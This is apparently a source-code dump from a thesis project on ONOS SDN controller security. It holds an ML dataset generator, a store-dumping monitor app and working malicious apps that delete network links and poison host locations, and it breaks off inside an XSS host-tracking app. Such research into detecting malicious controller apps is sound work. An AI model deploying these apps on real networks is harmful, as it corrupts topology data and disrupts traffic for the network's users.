| def generate_not_cap_attacks(): 82 | result = [] 83 | 84 | # getHost and/or forward (even 0) 85 | comb = [] 86 | for i in range(16): 87 | comb += [p for p in itertools.product(apps["org.onosproject.fwd"], repeat=i)] 88 | for elem in comb: 89 | if len(elem) > 0: 90 | to_add = "org.onosproject.fwd" + "org.onosproject.fwd".join(elem) 91 | result += [to_add] 92 | 93 | # getHost and/or forward (even 0) 94 | comb = [] 95 | for i in range(16): 96 | comb += [ 97 | p 98 | for p in itertools.product( 99 | apps["org.edoardottt.malhosttracking.app"], repeat=i 100 | ) 101 | ] 102 | for elem in comb: 103 | if len(elem) > 0: 104 | to_add = ( 105 | "org.edoardottt.malhosttracking.app" 106 | + "org.edoardottt.malhosttracking.app".join(elem) 107 | ) 108 | result += [to_add] 109 | 110 | for i in range(len(result)): 111 | result[i] = result[i] + tab + str(0) 112 | 113 | print("[ + ] Generated {} not cap attacks!".format(len(result))) 114 | 115 | return result 116 | 117 | 118 | # -------- create datasets -------- 119 | 120 | 121 | def create_data_folder(): 122 | exist = os.path.exists(directory) 123 | if not exist: 124 | os.makedirs(directory) 125 | print("[ + ] Created output folder!") 126 | return 127 | print("[ + ] Output folder exists!") 128 | 129 | 130 | def create_datasets(cap_attacks, not_cap_attacks, count): 131 | entries = cap_attacks + not_cap_attacks 132 | random.shuffle(entries) 133 | 134 | resultA = [] 135 | resultB = [] 136 | 137 | for i in range(int(len(entries) / 100 * count)): 138 | resultA.append(entries[i]) 139 | 140 | for i in range(int(len(entries) / 100 * count), len(entries)): 141 | resultB.append(entries[i]) 142 | 143 | return (resultA, resultB) 144 | 145 | 146 | def write_file(file, input): 147 | with open(directory + file, "w+") as f: 148 | for i in input: 149 | f.write(i + "\n") 150 | 151 | 152 | # -------- ML-friendly data transformation -------- 153 | 154 | 155 | def trasform(listA, listB): 156 | resultA = [] 157 | resultB = [] 158 | for strelem in listA: 159 | for elem in app_name: 160 | strelem = strelem.replace(elem, str(app_name[elem])) 161 | for elem in action_name: 162 | strelem = strelem.replace(elem, str(action_name[elem])) 163 | resultA.append(strelem) 164 | 165 | for strelem in listB: 166 | for elem in app_name: 167 | strelem = strelem.replace(elem, str(app_name[elem])) 168 | for elem in action_name: 169 | strelem = strelem.replace(elem, str(action_name[elem])) 170 | resultB.append(strelem) 171 | 172 | return (resultA, resultB) 173 | 174 | 175 | # -------- main -------- 176 | 177 | if __name__ == "__main__": 178 | create_data_folder() 179 | 180 | cap_attacks = generate_cap_attacks() 181 | not_cap_attacks = generate_not_cap_attacks() 182 | 183 | listA, listB = create_datasets(cap_attacks, not_cap_attacks, 90) 184 | 185 | mlA, mlB = trasform(listA[:], listB[:]) 186 | 187 | print("[ + ] Training files contain {} entries!".format(str(len(listA)))) 188 | print("[ + ] Test files contain {} entries!".format(str(len(listB)))) 189 | 190 | # write_file(training_out_file, listA) 191 | # write_file(test_out_file, listB) 192 | write_file(training_out_file_ml, mlA) 193 | write_file(test_out_file_ml, mlB) 194 | -------------------------------------------------------------------------------- /apps/store-dumper-app/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | org.onosproject.storedumper 21 | store-dumper-app 22 | 1.0-SNAPSHOT 23 | bundle 24 | 25 | ONOS OSGi bundle archetype 26 | http://onosproject.org 27 | 28 | 29 | 2.7.0 30 | org.onosproject.storedumper 31 | edoardottt 32 | storedumper App 33 | Monitoring 34 | http://onosproject.org 35 | 36 | 37 | 38 | 39 | org.onosproject 40 | onos-api 41 | ${onos.version} 42 | 43 | 44 | 45 | org.onosproject 46 | onlab-osgi 47 | ${onos.version} 48 | 49 | 50 | 51 | org.onosproject 52 | onlab-misc 53 | ${onos.version} 54 | 55 | 56 | 57 | org.slf4j 58 | slf4j-api 59 | 1.7.25 60 | provided 61 | 62 | 63 | 64 | com.google.guava 65 | guava 66 | 22.0 67 | provided 68 | 69 | 70 | 71 | com.fasterxml.jackson.core 72 | jackson-databind 73 | 2.12.7.1 74 | provided 75 | 76 | 77 | 78 | junit 79 | junit 80 | 4.13.1 81 | test 82 | 83 | 84 | 85 | org.onosproject 86 | onos-api 87 | ${onos.version} 88 | test 89 | tests 90 | 91 | 92 | 93 | org.osgi 94 | org.osgi.service.component.annotations 95 | 1.4.0 96 | provided 97 | 98 | 99 | 100 | 101 | 102 | 103 | org.apache.felix 104 | maven-bundle-plugin 105 | 3.5.0 106 | true 107 | 108 | 109 | org.apache.maven.plugins 110 | maven-compiler-plugin 111 | 3.8.0 112 | 113 | 1.8 114 | 1.8 115 | 116 | 117 | 118 | org.apache.felix 119 | maven-scr-plugin 120 | 1.26.0 121 | 122 | 123 | bundle 124 | war 125 | 126 | 127 | 128 | 129 | org.onosproject 130 | onos-maven-plugin 131 | 2.0 132 | 133 | 134 | cfg 135 | generate-resources 136 | 137 | cfg 138 | 139 | 140 | 141 | swagger 142 | generate-sources 143 | 144 | swagger 145 | 146 | 147 | 148 | app 149 | package 150 | 151 | app 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | -------------------------------------------------------------------------------- /apps/linkevent-app/src/main/java/org/linkevent/app/LinkEventApp.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2023-present Open Networking Foundation 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | * 16 | * @author edoardottt, https://edoardottt.com/ 17 | */ 18 | package org.linkevent.app; 19 | 20 | import org.osgi.service.component.annotations.Activate; 21 | import org.osgi.service.component.annotations.Component; 22 | import org.osgi.service.component.annotations.Deactivate; 23 | import org.osgi.service.component.annotations.Reference; 24 | import org.osgi.service.component.annotations.ReferenceCardinality; 25 | import org.slf4j.Logger; 26 | import org.slf4j.LoggerFactory; 27 | import org.onosproject.core.CoreService; 28 | import org.onosproject.net.DefaultAnnotations; 29 | import org.onosproject.net.device.DeviceService; 30 | import org.onosproject.net.Device; 31 | import org.onosproject.net.host.HostService; 32 | import org.onosproject.net.host.HostStore; 33 | import org.onosproject.net.link.LinkStore; 34 | import org.onosproject.net.link.LinkEvent; 35 | import org.onosproject.net.host.HostEvent; 36 | import org.onosproject.net.Host; 37 | import org.onosproject.net.Link; 38 | import org.onosproject.net.HostId; 39 | import org.onosproject.net.HostLocation; 40 | import org.onosproject.net.DeviceId; 41 | import org.onosproject.core.ApplicationId; 42 | import org.onosproject.net.device.DeviceStore; 43 | import org.onosproject.net.Port; 44 | import org.onosproject.net.ConnectPoint; 45 | import org.onosproject.net.PortNumber; 46 | import org.onosproject.event.EventDeliveryService; 47 | import org.onosproject.net.device.DeviceEvent; 48 | import org.onosproject.event.Event; 49 | import org.onlab.packet.IpAddress; 50 | import org.onosproject.net.packet.PacketEvent; 51 | import org.onosproject.net.packet.DefaultOutboundPacket; 52 | import org.onosproject.net.flow.TrafficTreatment; 53 | import org.onosproject.net.flow.DefaultTrafficTreatment.Builder; 54 | import org.onosproject.net.flow.DefaultTrafficTreatment; 55 | import org.onlab.packet.ARP; 56 | import org.onlab.packet.Ethernet; 57 | import java.nio.ByteBuffer; 58 | import java.util.Timer; 59 | import org.onosproject.net.DefaultHost; 60 | import org.onosproject.net.packet.PacketService; 61 | import java.util.Random; 62 | import java.util.ArrayList; 63 | import java.util.List; 64 | import java.io.StringWriter; 65 | import java.io.PrintWriter; 66 | import org.onlab.packet.VlanId; 67 | import org.onlab.packet.MacAddress; 68 | import org.onosproject.net.provider.ProviderId; 69 | import org.onosproject.net.topology.TopologyEvent; 70 | 71 | import java.util.Set; 72 | import java.util.HashSet; 73 | import java.util.TimerTask; 74 | 75 | /** 76 | * LinkEvent Malicious ONOS Application. 77 | */ 78 | @Component(immediate = true) 79 | public class LinkEventApp { 80 | 81 | enum Level { 82 | LOW, 83 | MEDIUM, 84 | HIGH 85 | } 86 | 87 | private final Logger log = LoggerFactory.getLogger(getClass()); 88 | 89 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 90 | protected CoreService coreService; 91 | 92 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 93 | protected DeviceService deviceService; 94 | 95 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 96 | protected DeviceStore deviceStore; 97 | 98 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 99 | protected LinkStore linkStore; 100 | 101 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 102 | protected PacketService packetService; 103 | 104 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 105 | protected HostService hostService; 106 | 107 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 108 | protected EventDeliveryService eventDispatcher; 109 | 110 | Timer timer = new Timer(); 111 | TimerTask timerTask = new TimerTask() { 112 | @Override 113 | public void run() { 114 | log.info("Time up, running Task!"); 115 | dispatch(); 116 | } 117 | }; 118 | 119 | // -------------------------------------------------------- 120 | // CHANGE THIS PARAMETER TO TRIGGER THE APP EVERY X MILLISECONDS. 121 | // -------------------------------------------------------- 122 | private static final long TIMEOUT = 10000; 123 | 124 | @Activate 125 | protected void activate() { 126 | coreService.registerApplication("org.edoardottt.linkevent.app", () -> log.info("Periscope down.")); 127 | // startTimer(TIMEOUT); 128 | dispatch(); 129 | log.info("Started linkevent App!"); 130 | } 131 | 132 | @Deactivate 133 | protected void deactivate() { 134 | // timer.cancel(); 135 | // timer.purge(); 136 | log.info("Stopped linkevent App!"); 137 | } 138 | 139 | // dispatch event. 140 | private void dispatch() { 141 | /* 142 | * Link l = pickRandomLink(); 143 | * LinkEvent reason = new LinkEvent(LinkEvent.Type.LINK_REMOVED, l); 144 | * List reasons = new ArrayList<>(); 145 | * reasons.add(reason); 146 | * // Topology t = new DefaultTopology(1, ); 147 | * TopologyEvent te = new TopologyEvent(TopologyEvent.Type.TOPOLOGY_CHANGED, 148 | * null, reasons, 0); 149 | * eventDispatcher.post(te); 150 | * log.info(te.toString()); 151 | */ 152 | 153 | // directly remove link from LinkStore 154 | Link l = pickRandomLink(); 155 | ConnectPoint src = l.src(); 156 | ConnectPoint dst = l.dst(); 157 | linkStore.removeLink(src, dst); 158 | log.info("LINK {} ({}, {}) removed!", l.toString(), src.toString(), dst.toString()); 159 | } 160 | 161 | // startTimer starts a timer that timeouts every X seconds. 162 | private void startTimer(long timeout) { 163 | timer.scheduleAtFixedRate(timerTask, 0, timeout); 164 | } 165 | 166 | // pickRandomDevice picks a random device 167 | private Device pickRandomDevice() { 168 | Iterable devices = deviceService.getDevices(); 169 | Random rand = new Random(); 170 | List deviceList = new ArrayList(); 171 | devices.forEach(deviceList::add); 172 | Device randomDevice = deviceList.get(rand.nextInt(deviceList.size())); 173 | 174 | return randomDevice; 175 | } 176 | 177 | // pickRandomLink picks a random infrastructure link 178 | private Link pickRandomLink() { 179 | Iterable i = linkStore.getLinks(); 180 | Random rand = new Random(); 181 | List links = new ArrayList(); 182 | i.forEach(links::add); 183 | Link randomLink = links.get(rand.nextInt(links.size())); 184 | 185 | return randomLink; 186 | } 187 | 188 | // pickRandomPort picks a random port of a device 189 | private Port pickRandomPort(List ports) { 190 | Random rand = new Random(); 191 | Port randomPort = ports.get(rand.nextInt(ports.size())); 192 | while (randomPort.number() == PortNumber.LOCAL) { 193 | randomPort = ports.get(rand.nextInt(ports.size())); 194 | } 195 | 196 | return randomPort; 197 | } 198 | 199 | // getHost picks a random host 200 | private Host getHost(int i) { 201 | Iterable hosts = hostService.getHosts(); 202 | List hostList = new ArrayList(); 203 | hosts.forEach(hostList::add); 204 | Host randomHost = hostList.get(i); 205 | 206 | return randomHost; 207 | } 208 | } 209 | -------------------------------------------------------------------------------- /apps/mal-host-tracking-app/src/main/java/org/edoardottt/malhosttracking/MalHostTracking.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2022-present Open Networking Foundation 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | * 16 | * @author edoardottt, https://edoardottt.com/ 17 | */ 18 | 19 | package org.edoardottt.malhosttracking; 20 | 21 | import org.osgi.service.component.annotations.Activate; 22 | import org.osgi.service.component.annotations.Component; 23 | import org.osgi.service.component.annotations.Deactivate; 24 | import org.osgi.service.component.annotations.Reference; 25 | import org.osgi.service.component.annotations.ReferenceCardinality; 26 | import org.slf4j.Logger; 27 | import org.slf4j.LoggerFactory; 28 | import org.onosproject.core.CoreService; 29 | import org.onosproject.net.host.HostService; 30 | import org.onosproject.net.host.HostStore; 31 | import org.onosproject.net.Host; 32 | import org.onosproject.net.HostId; 33 | import org.onosproject.net.HostLocation; 34 | import org.onosproject.net.device.DeviceService; 35 | import org.onosproject.net.device.DeviceStore; 36 | import org.onosproject.net.Device; 37 | import org.onosproject.net.Port; 38 | import java.util.Timer; 39 | import java.util.Random; 40 | import java.util.ArrayList; 41 | import java.util.List; 42 | import java.util.Set; 43 | import java.util.TimerTask; 44 | 45 | /** 46 | * Malicious Host Tracking Application. 47 | */ 48 | @Component(immediate = true) 49 | public class MalHostTracking { 50 | 51 | private final Logger log = LoggerFactory.getLogger(getClass()); 52 | 53 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 54 | protected CoreService coreService; 55 | 56 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 57 | protected HostService hostService; 58 | 59 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 60 | protected HostStore hostStore; 61 | 62 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 63 | protected DeviceService deviceService; 64 | 65 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 66 | protected DeviceStore deviceStore; 67 | 68 | Timer timer = new Timer(); 69 | TimerTask timerTask = new TimerTask() { 70 | @Override 71 | public void run() { 72 | log.info("Time up, running Task!"); 73 | editHostStore(); 74 | } 75 | }; 76 | 77 | // -------------------------------------------------------- 78 | // CHANGE THIS PARAMETER TO TRIGGER THE APP EVERY X MILLISECONDS. 79 | // -------------------------------------------------------- 80 | private static final long TIMEOUT = 10000; 81 | 82 | @Activate 83 | protected void activate() { 84 | coreService.registerApplication("org.edoardottt.malhosttracking.app", () -> log.info("Periscope down.")); 85 | // startTimer(TIMEOUT); 86 | editHostStore(); 87 | log.info("Started malhosttracking App!"); 88 | } 89 | 90 | @Deactivate 91 | protected void deactivate() { 92 | // timer.cancel(); 93 | // timer.purge(); 94 | log.info("Stopped malhosttracking App!"); 95 | } 96 | 97 | // editHostStore mess up with the Host Data Store. 98 | private void editHostStore() { 99 | /* 100 | * // --- ORIGINAL CODE --- 101 | * getHosts(); 102 | * HostId hId = pickRandomHost().id(); 103 | * emptyLocation(hId); 104 | * DeviceId dId = pickRandomDevice().id(); 105 | * List ports = deviceStore.getPorts(dId); 106 | * PortNumber pNumber = pickRandomPort(ports).number(); 107 | * HostLocation hl = new HostLocation(dId, pNumber, 0); 108 | * hostStore.appendLocation(hId, hl); 109 | * log.info("Malicious Host Tracking App: Host {} connected to device {}", 110 | * hId.toString(), dId.toString()); 111 | * getHosts(); 112 | */ 113 | 114 | // --- SWITCH LOCATIONS OF TWO HOSTS --- 115 | getHosts(); 116 | HostId h1 = getHost(2).id(); 117 | HostId h4 = getHost(0).id(); 118 | getHosts(); 119 | log.info("Malicious Host Tracking App: Selected host {} and host {}", h1, h4); 120 | Set locationsH4 = getLocations(h4); 121 | Set locationsH1 = getLocations(h1); 122 | log.info("Malicious Host Tracking App: Locations {} and {}", locationsH1, locationsH4); 123 | HostLocation newLocationH4 = locationsH1.iterator().next(); 124 | HostLocation newLocationH1 = locationsH4.iterator().next(); 125 | hostStore.appendLocation(h4, newLocationH4); 126 | hostStore.appendLocation(h1, newLocationH1); 127 | log.info("Malicious Host Tracking App: Locations {} and {}", getLocations(h1), getLocations(h4)); 128 | hostStore.removeLocation(h1, newLocationH4); 129 | hostStore.removeLocation(h4, newLocationH1); 130 | log.info("Malicious Host Tracking App: Locations successfully poisoned: {} and {}", getLocations(h1), 131 | getLocations(h4)); 132 | } 133 | 134 | // startTimer starts a timer that timeouts every X seconds. 135 | private void startTimer(long timeout) { 136 | timer.scheduleAtFixedRate(timerTask, 0, timeout); 137 | } 138 | 139 | private Set getLocations(HostId hID) { 140 | Host h = hostService.getHost(hID); 141 | Set locations = h.locations(); 142 | return locations; 143 | } 144 | 145 | private void emptyLocation(HostId hID) { 146 | Host h = hostService.getHost(hID); 147 | Set locations = h.locations(); 148 | for (HostLocation location : locations) { 149 | hostStore.removeLocation(hID, location); 150 | } 151 | } 152 | 153 | // pickRandomHost picks a random host 154 | private Host pickRandomHost() { 155 | Iterable hosts = hostService.getHosts(); 156 | Random rand = new Random(); 157 | List hostList = new ArrayList(); 158 | hosts.forEach(hostList::add); 159 | Host randomHost = hostList.get(rand.nextInt(hostList.size())); 160 | 161 | return randomHost; 162 | } 163 | 164 | // getHost picks a random host 165 | private Host getHost(int i) { 166 | Iterable hosts = hostService.getHosts(); 167 | List hostList = new ArrayList(); 168 | hosts.forEach(hostList::add); 169 | Host randomHost = hostList.get(i); 170 | 171 | return randomHost; 172 | } 173 | 174 | // getHosts 175 | private void getHosts() { 176 | Iterable hosts = hostService.getHosts(); 177 | List hostList = new ArrayList(); 178 | hosts.forEach(hostList::add); 179 | for (int i = 0; i < hostList.size(); i++) { 180 | log.info(hostList.get(i).toString()); 181 | } 182 | } 183 | 184 | // pickRandomDevice picks a random device 185 | private Device pickRandomDevice() { 186 | Iterable devices = deviceService.getDevices(); 187 | Random rand = new Random(); 188 | List deviceList = new ArrayList(); 189 | devices.forEach(deviceList::add); 190 | Device randomDevice = deviceList.get(rand.nextInt(deviceList.size())); 191 | 192 | return randomDevice; 193 | } 194 | 195 | // getDeviceHosts() logs all the connected hosts for all the devices. 196 | private void getDeviceHosts() { 197 | Iterable devices = deviceService.getDevices(); 198 | List deviceList = new ArrayList(); 199 | devices.forEach(deviceList::add); 200 | for (Device d : deviceList) { 201 | Set hosts = hostService.getConnectedHosts(d.id()); 202 | log.info("Hosts connected to device {} : {}", d.id(), hosts.toString()); 203 | } 204 | } 205 | 206 | // pickRandomPort picks a random port of a device 207 | private Port pickRandomPort(List ports) { 208 | Random rand = new Random(); 209 | Port randomPort = ports.get(rand.nextInt(ports.size())); 210 | 211 | return randomPort; 212 | } 213 | } 214 | -------------------------------------------------------------------------------- /apps/store-dumper-app/src/main/java/org/onosproject/storedumper/StoreDumper.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2022-present Open Networking Foundation 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | * 16 | * @author edoardottt, https://edoardottt.com/ 17 | */ 18 | 19 | package org.onosproject.storedumper; 20 | 21 | import org.osgi.service.component.annotations.Activate; 22 | import org.osgi.service.component.annotations.Component; 23 | import org.osgi.service.component.annotations.Deactivate; 24 | import org.osgi.service.component.annotations.Reference; 25 | import org.osgi.service.component.annotations.ReferenceCardinality; 26 | import org.onosproject.core.CoreService; 27 | import org.onosproject.net.Host; 28 | import org.onosproject.net.host.HostService; 29 | import org.onosproject.net.host.HostStore; 30 | import org.onosproject.net.device.DeviceService; 31 | import org.onosproject.net.device.DeviceStore; 32 | import org.onosproject.net.Device; 33 | import org.onosproject.net.packet.PacketStore; 34 | import org.onosproject.net.statistic.StatisticStore; 35 | import org.onosproject.net.resource.ResourceStore; 36 | import org.onosproject.net.region.RegionStore; 37 | import org.onosproject.net.meter.MeterStore; 38 | import org.onosproject.net.link.LinkStore; 39 | import org.onosproject.net.key.DeviceKeyStore; 40 | import org.onosproject.net.intent.IntentStore; 41 | import org.onosproject.net.group.GroupStore; 42 | import org.onosproject.net.flowobjective.FlowObjectiveStore; 43 | import org.onosproject.net.flow.FlowRuleStore; 44 | import org.onosproject.net.config.NetworkConfigStore; 45 | import org.onosproject.cluster.ClusterStore; 46 | import org.onosproject.app.ApplicationIdStore; 47 | import java.util.ArrayList; 48 | import java.util.List; 49 | import java.util.Timer; 50 | import java.util.TimerTask; 51 | import java.text.SimpleDateFormat; 52 | import java.io.File; 53 | import java.io.BufferedWriter; 54 | import java.io.PrintWriter; 55 | import java.io.StringWriter; 56 | import java.io.FileWriter; 57 | import java.io.IOException; 58 | import org.slf4j.Logger; 59 | import org.slf4j.LoggerFactory; 60 | 61 | /** 62 | * Store Dumper. 63 | */ 64 | @Component(immediate = true) 65 | public class StoreDumper { 66 | 67 | private final Logger log = LoggerFactory.getLogger(getClass()); 68 | 69 | // -------------------------------------------------------- 70 | // CHANGE THIS PARAMETER TO TRIGGER THE APP EVERY X MILLISECONDS. 71 | // -------------------------------------------------------- 72 | private static final long TIMEOUT = 60000; 73 | 74 | // -------------------------------------------------------- 75 | // CHANGE THIS PARAMETER TO WRITE IN A DIFFERENT FILE. 76 | // -------------------------------------------------------- 77 | private static final String FILENAME = "/home/edoardottt/cybersecurity/thesis/onos-store.dump"; 78 | 79 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 80 | protected CoreService coreService; 81 | 82 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 83 | protected HostService hostService; 84 | 85 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 86 | protected HostStore hostStore; 87 | 88 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 89 | protected DeviceService deviceService; 90 | 91 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 92 | protected DeviceStore deviceStore; 93 | 94 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 95 | protected PacketStore packetStore; 96 | 97 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 98 | protected StatisticStore statisticStore; 99 | 100 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 101 | protected ResourceStore resourceStore; 102 | 103 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 104 | protected RegionStore regionStore; 105 | 106 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 107 | protected MeterStore meterStore; 108 | 109 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 110 | protected LinkStore linkStore; 111 | 112 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 113 | protected DeviceKeyStore deviceKeyStore; 114 | 115 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 116 | protected IntentStore intentStore; 117 | 118 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 119 | protected GroupStore groupStore; 120 | 121 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 122 | protected FlowObjectiveStore flowObjectiveStore; 123 | 124 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 125 | protected FlowRuleStore flowRuleStore; 126 | 127 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 128 | protected NetworkConfigStore networkConfigStore; 129 | 130 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 131 | protected ClusterStore clusterStore; 132 | 133 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 134 | protected ApplicationIdStore applicationIdStore; 135 | 136 | Timer timer = new Timer(); 137 | TimerTask timerTask = new TimerTask() { 138 | @Override 139 | public void run() { 140 | log.info("Time up, running Task!"); 141 | dump(); 142 | } 143 | }; 144 | 145 | @Activate 146 | protected void activate() { 147 | coreService.registerApplication("org.edoardottt.storedumper.app", () -> log.info("Periscope down.")); 148 | startTimer(TIMEOUT); 149 | log.info("Started storedumper App!"); 150 | } 151 | 152 | @Deactivate 153 | protected void deactivate() { 154 | timer.cancel(); 155 | timer.purge(); 156 | log.info("Stopped storedumper App!"); 157 | } 158 | 159 | // startTimer starts a timer that timeouts every X seconds. 160 | private void startTimer(long timeout) { 161 | timer.scheduleAtFixedRate(timerTask, 0, timeout); 162 | } 163 | 164 | private void dump() { 165 | createFile(); 166 | String timeStamp = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new java.util.Date()); 167 | writeToFile("=========================== " + timeStamp + " ==========================="); 168 | dumpHosts(); 169 | dumpDevices(); 170 | } 171 | 172 | // dumpHosts 173 | private void dumpHosts() { 174 | writeToFile("------------ HOSTS DUMP ------------"); 175 | Iterable hosts = hostService.getHosts(); 176 | List hostList = new ArrayList(); 177 | hosts.forEach(hostList::add); 178 | for (int i = 0; i < hostList.size(); i++) { 179 | writeToFile(hostList.get(i).toString()); 180 | } 181 | } 182 | 183 | // dumpDevices 184 | private void dumpDevices() { 185 | writeToFile("------------ DEVICES DUMP ------------"); 186 | Iterable devices = deviceService.getDevices(); 187 | List deviceList = new ArrayList(); 188 | devices.forEach(deviceList::add); 189 | for (int i = 0; i < deviceList.size(); i++) { 190 | writeToFile(deviceList.get(i).toString()); 191 | } 192 | } 193 | 194 | private File createFile() { 195 | try { 196 | File myObj = new File(FILENAME); 197 | if (!myObj.exists()) { 198 | myObj.createNewFile(); 199 | } 200 | return myObj; 201 | } catch (Exception e) { 202 | log.info("ONOS-DT | Error while creating file {}", FILENAME); 203 | e.printStackTrace(); 204 | } 205 | 206 | return null; 207 | } 208 | 209 | private void writeToFile(String content) { 210 | try { 211 | FileWriter fw = new FileWriter(FILENAME, true); 212 | BufferedWriter bw = new BufferedWriter(fw); 213 | PrintWriter out = new PrintWriter(bw); 214 | out.println(content + "\n"); 215 | out.close(); 216 | log.info("Successfully wrote to the file!"); 217 | } catch (IOException e) { 218 | log.info("Error while writing to file {}", FILENAME); 219 | StringWriter sw = new StringWriter(); 220 | PrintWriter pw = new PrintWriter(sw); 221 | e.printStackTrace(pw); 222 | log.info(sw.toString()); 223 | } 224 | } 225 | } 226 | -------------------------------------------------------------------------------- /apps/trash/xss-host-tracking-app/src/main/java/org/onosproject/xsshosttracking/XssHostTracking.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2022-present Open Networking Foundation 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package org.onosproject.xsshosttracking; 17 | 18 | import org.osgi.service.component.annotations.Activate; 19 | import org.osgi.service.component.annotations.Component; 20 | import org.osgi.service.component.annotations.Deactivate; 21 | import org.osgi.service.component.annotations.Reference; 22 | import org.osgi.service.component.annotations.ReferenceCardinality; 23 | import org.slf4j.Logger; 24 | import org.slf4j.LoggerFactory; 25 | import org.onosproject.core.CoreService; 26 | import org.onosproject.net.host.HostService; 27 | import org.onosproject.net.host.HostStore; 28 | import org.onosproject.net.Host; 29 | import org.onosproject.net.HostId; 30 | import org.onosproject.net.HostLocation; 31 | import org.onosproject.net.device.DeviceService; 32 | import org.onosproject.net.device.DeviceStore; 33 | import org.onosproject.net.Device; 34 | import org.onosproject.net.DeviceId; 35 | import org.onosproject.net.Port; 36 | import org.onosproject.net.PortNumber; 37 | import org.onosproject.core.ApplicationId; 38 | import java.util.Timer; 39 | import java.util.Random; 40 | import java.util.ArrayList; 41 | import java.util.List; 42 | import java.util.Set; 43 | import java.util.TimerTask; 44 | import org.onosproject.net.device.DefaultPortDescription; 45 | 46 | /** 47 | * XSS Host Tracking Application. 48 | */ 49 | @Component(immediate = true) 50 | public class XssHostTracking { 51 | 52 | private final Logger log = LoggerFactory.getLogger(getClass()); 53 | 54 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 55 | protected CoreService coreService; 56 | 57 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 58 | protected HostService hostService; 59 | 60 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 61 | protected HostStore hostStore; 62 | 63 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 64 | protected DeviceService deviceService; 65 | 66 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 67 | protected DeviceStore deviceStore; 68 | 69 | Timer timer = new Timer(); 70 | TimerTask timerTask = new TimerTask() { 71 | @Override 72 | public void run() { 73 | log.info("Time up, running Task!"); 74 | editHostStore(); 75 | } 76 | }; 77 | 78 | // -------------------------------------------------------- 79 | // CHANGE THIS PARAMETER TO TRIGGER THE APP EVERY X MILLISECONDS. 80 | // -------------------------------------------------------- 81 | private static final long TIMEOUT = 10000; 82 | 83 | @Activate 84 | protected void activate() { 85 | coreService.registerApplication("org.edoardottt.xsshosttracking.app", () -> log.info("Periscope down.")); 86 | // startTimer(TIMEOUT); 87 | editHostStore(); 88 | log.info("Started xsshosttracking App!"); 89 | } 90 | 91 | @Deactivate 92 | protected void deactivate() { 93 | // timer.cancel(); 94 | // timer.purge(); 95 | log.info("Stopped xsshosttracking App!"); 96 | } 97 | 98 | // editHostStore mess up with the Host Data Store. 99 | private void editHostStore() { 100 | 101 